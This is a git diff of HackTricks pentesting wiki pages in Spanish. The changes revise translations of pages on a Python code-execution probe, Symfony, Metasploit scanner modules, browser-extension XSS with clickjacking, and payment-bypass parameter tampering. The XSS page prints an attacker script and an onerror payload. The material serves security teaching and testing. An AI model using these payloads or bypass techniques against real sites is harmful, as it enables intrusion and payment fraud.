Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Python
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Servidor usando python
probar una posible **ejecución de código**, utilizando la función _str()_:
prueba una posible **ejecución de código**, usando la función _str()_:
```python
"+str(True)+" #If the string True is printed, then it is vulnerable
```
### Trucos
### Tricks
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -34,16 +35,17 @@ probar una posible **ejecución de código**, utilizando la función _str()_:
[deserialization](../../pentesting-web/deserialization/)
{% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Symfony
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
Echa un vistazo a las siguientes publicaciones:
@ -20,16 +21,17 @@ Echa un vistazo a las siguientes publicaciones:
* [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -26,23 +27,24 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
Si encuentras credenciales válidas, puedes utilizar más módulos de escaneo de Metasploit para obtener información.
Si encuentras credenciales válidas, puedes usar más módulos de escáner de metasploit para obtener información.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# BrowExt - Ejemplo de XSS
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
## Cross-Site Scripting (XSS) a través de Iframe
@ -25,7 +26,7 @@ let constructedURL = chrome.runtime.getURL("message.html") +
frame.src = constructedURL;
});
```
Una página HTML de acceso público, **`message.html`**, está diseñada para agregar dinámicamente contenido al cuerpo del documento basado en los parámetros en la URL:
Una página HTML accesible públicamente, **`message.html`**, está diseñada para agregar dinámicamente contenido al cuerpo del documento sen los parámetros en la URL:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
@ -37,7 +38,7 @@ chrome.tabs.create({ url: destinationURL });
});
});
```
Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro `content` de la fuente del Iframe para introducir un **payload XSS**. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:
Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro `content` de la fuente del Iframe para introducir una **carga útil XSS**. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
@ -48,22 +49,22 @@ let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
Una Política de Seguridad de Contenido excesivamente permisiva como:
Una Política de Seguridad de Contenido demasiado permisiva como:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
Permite la ejecución de JavaScript, lo que hace que el sistema sea vulnerable a ataques XSS.
permite la ejecución de JavaScript, haciendo que el sistema sea vulnerable a ataques XSS.
Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su origen para incluir el script dañino como el parámetro `content`:
Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su fuente para incluir el script dañino como el parámetro `content`:
```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```
## XSS basado en DOM + ClickJacking
## DOM-based XSS + ClickJacking
Este ejemplo fue tomado del [post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Este ejemplo fue tomado de la [publicación original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en **`/html/bookmarks.html`**. El JavaScript problemático, parte de **`bookmarks.js`**, se detalla a continuación:
```javascript
@ -82,13 +83,13 @@ $('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
Este fragmento obtiene el **valor** del campo de entrada **`txtName`** y utiliza **concatenación de cadenas para generar HTML**, que luego se añade al DOM utilizando la función `.append()` de jQuery.
Este fragmento obtiene el **valor** del campo de entrada **`txtName`** y utiliza **concatenación de cadenas para generar HTML**, que luego se agrega al DOM utilizando la función `.append()` de jQuery.
Normalmente, la Política de Seguridad de Contenido (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la **relajación de CSP con 'unsafe-eval'** y al uso de los métodos de manipulación del DOM de jQuery (que emplean [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para pasar scripts a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al insertar en el DOM), la explotación sigue siendo posible.
Normalmente, la Política de Seguridad de Contenidos (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la **relajación de CSP con unsafe-eval** y el uso de los métodos de manipulación del DOM de jQuery (que emplean [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para pasar scripts a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al insertar en el DOM), la explotación sigue siendo posible.
Aunque esta vulnerabilidad es significativa, su explotación suele depender de la interacción del usuario: visitar la página, introducir un payload XSS y activar el botón "Agregar".
Si bien esta vulnerabilidad es significativa, su explotación generalmente depende de la interacción del usuario: visitar la página, ingresar una carga útil de XSS y activar el botón “Agregar”.
Para potenciar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **clickjacking**. El manifiesto de la extensión de Chrome muestra una extensa política `web_accessible_resources`:
Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **clickjacking**. El manifiesto de la extensión de Chrome muestra una política extensa de `web_accessible_resources`:
```json
"web_accessible_resources": [
"html/bookmarks.html",
@ -98,23 +99,24 @@ Para potenciar esta vulnerabilidad, se explota una vulnerabilidad secundaria de
[...]
],
```
Notablemente, la página **`/html/bookmarks.html`** es propensa al enmarcado, por lo tanto vulnerable al **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera no intencionada.
Notablemente, la página **`/html/bookmarks.html`** es susceptible a framing, por lo tanto vulnerable a **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.
## Referencias
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Técnicas de Bypass de Pago
# Bypass Payment Process
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Grupo de Seguridad Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -25,29 +26,50 @@ Otras formas de apoyar a HackTricks:
## Técnicas de Bypass de Pago
### Intercepción de Solicitudes
Durante el proceso de transacción, es crucial monitorear los datos intercambiados entre el cliente y el servidor. Esto se puede hacer interceptando todas las solicitudes. Dentro de estas solicitudes, busca parámetros con implicaciones significativas, como:
Durante el proceso de transacción, es crucial monitorear los datos que se intercambian entre el cliente y el servidor. Esto se puede hacer interceptando todas las solicitudes. Dentro de estas solicitudes, busca parámetros con implicaciones significativas, tales como:
- **Éxito**: Este parámetro a menudo indica el estado de la transacción.
- **Referente**: Puede apuntar al origen desde donde se originó la solicitud.
- **Callback**: Esto se utiliza típicamente para redirigir al usuario después de que se complete una transacción.
- **Success**: Este parámetro a menudo indica el estado de la transacción.
- **Referrer**: Puede señalar la fuente de donde se originó la solicitud.
- **Callback**: Este se utiliza típicamente para redirigir al usuario después de que se completa una transacción.
### Análisis de URL
Si encuentras un parámetro que contiene una URL, especialmente una que sigue el patrón _ejemplo.com/pago/MD5HASH_, requiere un examen más detenido. Aquí tienes un enfoque paso a paso:
Si encuentras un parámetro que contiene una URL, especialmente uno que sigue el patrón _example.com/payment/MD5HASH_, requiere un examen más detallado. Aquí hay un enfoque paso a paso:
1. **Copiar la URL**: Extrae la URL del valor del parámetro.
2. **Inspección en una Nueva Ventana**: Abre la URL copiada en una nueva ventana del navegador. Esta acción es crucial para comprender el resultado de la transacción.
1. **Copia la URL**: Extrae la URL del valor del parámetro.
